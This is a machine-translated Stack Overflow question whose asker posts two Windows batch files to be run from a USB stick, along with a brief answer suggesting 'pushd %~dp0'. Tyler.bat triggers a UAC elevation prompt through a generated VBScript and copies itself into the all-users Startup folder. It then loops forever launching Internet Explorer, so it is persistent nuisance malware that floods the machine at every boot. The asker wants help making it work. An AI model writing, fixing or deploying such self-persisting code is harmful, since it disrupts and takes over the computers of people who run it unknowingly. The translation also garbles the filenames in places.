0

これらのバッチ ファイルの両方を USB ドライブに入れています。Tyler.bat に正しいパスを持たせる方法を見つけて、USB ドライブから Tyler.bat を呼び出すと、USB ドライブが読み取られて読み込まれるようにする必要があります。 Tyler.bat を正しいパスで入力し、そのコマンドに従います。

ドライブ名を特定のものに変更せずにこれを行う方法を知りたいです。

Zieske.bat

@echo off
echo Who are you?
set /p answer=
if /i "%answer%"=="Tyler" (call Tyler.bat)
if /i "%answer%"=="Tyler Zieske" (call Tyler.bat)
if /i "%answer%"=="Pediatric Gynocologist" (call Tyler.bat)
echo Welcome %answer%!
pause

タイラーバット

@echo off
REM Run shell as admin (example) - put here code as you like
REM Check Windows Version
ver | findstr /i "5\.0\." > nul
IF %ERRORLEVEL% EQU 0 goto :ver_2000
ver | findstr /i "5\.1\." > nul
IF %ERRORLEVEL% EQU 0 goto :ver_XP
ver | findstr /i "5\.2\." > nul
IF %ERRORLEVEL% EQU 0 goto :ver_2003
ver | findstr /i "6\.0\." > nul
IF %ERRORLEVEL% EQU 0 goto :ver_Vista
ver | findstr /i "6\.1\." > nul
IF %ERRORLEVEL% EQU 0 goto :ver_Win7
goto warn_and_exit

:ver_Win7
if exist "c:\programdata\microsoft\windows\start menu\programs\startup\tyler.bat" (
goto :yes
) else (
goto :beginning7
)
goto :ver_Win7


:ver_Vista
if exist "c:\programdata\microsoft\windows\start menu\programs\startup\tyler.bat" (
goto :yes
) else (
goto :beginning_Vista
)
goto :ver_Vista


:ver_2003
cd "c:\documents and settings\all users\start menu\programs\startup"
if exist "tyler.bat" (
goto :yes
) else (
goto :beginning2003
)
goto :ver_2003


:ver_XP
cd "c:\documents and settings\all users\start menu\programs\startup"
if exist "tyler.bat" (
goto :yes
) else (
goto :beginningXP
)
goto :ver_XP


:ver_2000
cd "c:\documents and settings\all users\start menu\programs\startup"
if exist "tyler.bat" (
goto :yes
) else (
goto :beginning2000
)
goto :ver_2000


:warn_and_exit
echo Machine OS cannot be determined.
pause

:beginning7
CLS 
ECHO.
ECHO =============================
ECHO Running Admin shell
ECHO =============================

:checkPrivileges 
NET FILE 1>NUL 2>NUL
if '%errorlevel%' == '0' ( goto gotPrivileges ) else ( goto getPrivileges ) 

:getPrivileges 
if '%1'=='ELEV' (shift & goto gotPrivileges)  
ECHO. 
ECHO **************************************
ECHO Invoking UAC for Privilege Escalation 
ECHO **************************************

setlocal DisableDelayedExpansion
set "batchPath=%~0"
setlocal EnableDelayedExpansion
ECHO Set UAC = CreateObject^("Shell.Application"^) > "%temp%\OEgetPrivileges.vbs" 
ECHO UAC.ShellExecute "!batchPath!", "ELEV", "", "runas", 1 >> "%temp%\OEgetPrivileges.vbs" 
"%temp%\OEgetPrivileges.vbs" 
exit /B 

:gotPrivileges 
::::::::::::::::::::::::::::
:START
::::::::::::::::::::::::::::
setlocal & pushd .
copy tyler.bat "c:\programdata\microsoft\windows\start menu\programs\startup\tyler.bat"
goto yes:

:beginning_Vista
goto beginning7

:beginningXP
CLS 
ECHO.
ECHO =============================
ECHO Running Admin shell
ECHO =============================

:checkPrivileges 
NET FILE 1>NUL 2>NUL
if '%errorlevel%' == '0' ( goto gotPrivileges ) else ( goto getPrivileges ) 

:getPrivileges 
if '%1'=='ELEV' (shift & goto gotPrivileges)  
ECHO. 
ECHO **************************************
ECHO Invoking UAC for Privilege Escalation 
ECHO **************************************

setlocal DisableDelayedExpansion
set "batchPath=%~0"
setlocal EnableDelayedExpansion
ECHO Set UAC = CreateObject^("Shell.Application"^) > "%temp%\OEgetPrivileges.vbs" 
ECHO UAC.ShellExecute "!batchPath!", "ELEV", "", "runas", 1 >> "%temp%\OEgetPrivileges.vbs" 
"%temp%\OEgetPrivileges.vbs" 
exit /B 

:gotPrivileges 
::::::::::::::::::::::::::::
:START
::::::::::::::::::::::::::::
setlocal & pushd .
copy tyler.bat "c:\documents and settings\all users\start menu\programs\startup"
goto :yes

:beginning2003
goto :beginningXP

:beginning2000
goto :beginningXP

:yes
echo Hi Tyler!
pause
goto :Tyler

:Tyler
start iexplore.exe
goto :Tyler

cmd /k

tyの答えの例

pushd %~dp0
...all the other code...
copy tyler.bat
...more other code...

コードに実装されたtyの回答の例(コマンドがバッチファイルをコピーする場所にpushdを配置する必要がある場合、goto変数が原因かどうかはわかりませんでした)

zieske.bat

@echo off
pushd %~dp0
echo Who are you?
set /p answer=
if /i "%answer%"=="Tyler" (call Tyler.bat)
if /i "%answer%"=="Matt" (call Tyler.bat)
if /i "%answer%"=="Matthew" (call Tyler.bat)
if /i "%answer%"=="Matthew Tassin" (call Tyler.bat)
if /i "%answer%"=="Matt Tassin" (call Tyler.bat)
if /i "%answer%"=="Ryan" (call Tyler.bat)
if /i "%answer%"=="Ryan Ware" (call Tyler.bat)
if /i "%answer%"=="Tyler Zieske" (call Tyler.bat)
if /i "%answer%"=="Pediatric Gynocologist" (call Tyler.bat)
echo Welcome %answer%!
pause

タイラーバット

@echo off
pushd %~dp0
REM Check Windows Version
ver | findstr /i "5\.0\." > nul
IF %ERRORLEVEL% EQU 0 goto :ver_2000
ver | findstr /i "5\.1\." > nul
IF %ERRORLEVEL% EQU 0 goto :ver_XP
ver | findstr /i "5\.2\." > nul
IF %ERRORLEVEL% EQU 0 goto :ver_2003
ver | findstr /i "6\.0\." > nul
IF %ERRORLEVEL% EQU 0 goto :ver_Vista
ver | findstr /i "6\.1\." > nul
IF %ERRORLEVEL% EQU 0 goto :ver_Win7
goto warn_and_exit

:ver_Win7
if exist "c:\programdata\microsoft\windows\start menu\programs\startup\tyler.bat" (
goto :yes
) else (
goto :beginning7
)
goto :ver_Win7


:ver_Vista
if exist "c:\programdata\microsoft\windows\start menu\programs\startup\tyler.bat" (
goto :yes
) else (
goto :beginning_Vista
)
goto :ver_Vista


:ver_2003
cd "c:\documents and settings\all users\start menu\programs\startup"
if exist "tyler.bat" (
goto :yes
) else (
goto :beginning2003
)
goto :ver_2003


:ver_XP
cd "c:\documents and settings\all users\start menu\programs\startup"
if exist "tyler.bat" (
goto :yes
) else (
goto :beginningXP
)
goto :ver_XP


:ver_2000
cd "c:\documents and settings\all users\start menu\programs\startup"
if exist "tyler.bat" (
goto :yes
) else (
goto :beginning2000
)
goto :ver_2000


:warn_and_exit
echo Machine OS cannot be determined.
pause

:beginning7
CLS 
ECHO.
ECHO =============================
ECHO Running Admin shell
ECHO =============================

:checkPrivileges 
NET FILE 1>NUL 2>NUL
if '%errorlevel%' == '0' ( goto gotPrivileges ) else ( goto getPrivileges ) 

:getPrivileges 
if '%1'=='ELEV' (shift & goto gotPrivileges)  
ECHO. 
ECHO **************************************
ECHO Invoking UAC for Privilege Escalation 
ECHO **************************************

setlocal DisableDelayedExpansion
set "batchPath=%~0"
setlocal EnableDelayedExpansion
ECHO Set UAC = CreateObject^("Shell.Application"^) > "%temp%\OEgetPrivileges.vbs" 
ECHO UAC.ShellExecute "!batchPath!", "ELEV", "", "runas", 1 >> "%temp%\OEgetPrivileges.vbs" 
"%temp%\OEgetPrivileges.vbs" 
exit /B 

:gotPrivileges 
::::::::::::::::::::::::::::
:START
::::::::::::::::::::::::::::
setlocal & pushd .
pushd %~dp0
copy tyler.bat "c:\programdata\microsoft\windows\start menu\programs\startup\tyler.bat"
goto yes:

:beginning_Vista
goto beginning7

:beginningXP
CLS 
ECHO.
ECHO =============================
ECHO Running Admin shell
ECHO =============================

:checkPrivileges 
NET FILE 1>NUL 2>NUL
if '%errorlevel%' == '0' ( goto gotPrivileges ) else ( goto getPrivileges ) 

:getPrivileges 
if '%1'=='ELEV' (shift & goto gotPrivileges)  
ECHO. 
ECHO **************************************
ECHO Invoking UAC for Privilege Escalation 
ECHO **************************************

setlocal DisableDelayedExpansion
set "batchPath=%~0"
setlocal EnableDelayedExpansion
ECHO Set UAC = CreateObject^("Shell.Application"^) > "%temp%\OEgetPrivileges.vbs" 
ECHO UAC.ShellExecute "!batchPath!", "ELEV", "", "runas", 1 >> "%temp%\OEgetPrivileges.vbs" 
"%temp%\OEgetPrivileges.vbs" 
exit /B 

:gotPrivileges 
::::::::::::::::::::::::::::
:START
::::::::::::::::::::::::::::
setlocal & pushd .
pushd %~dp0
copy tyler.bat "c:\documents and settings\all users\start menu\programs\startup"
goto :yes

:beginning2003
goto :beginningXP

:beginning2000
goto :beginningXP

:yes
echo Hi Tyler, Ryan, or Matt!
pause
goto :Tyler

:Tyler
start iexplore.exe
goto :Tyler

cmd /k

pushd %~dp0ctrl+f を入力して構文/場所が正しいことを確認できれば、pushd %~dp0非常に感謝しています。

4

1 に答える 1

0

ドライブ文字が本当に必要ですか、それとも現在のディレクトリが USB ドライブのルートであることを確認する必要があるだけですか? 後者の場合は、次のようにします。

pushd %~dp0

バッチファイルの先頭に。バッチ ファイルが存在するディレクトリに CD されます。

于 2013-02-15T18:37:25.683 に答える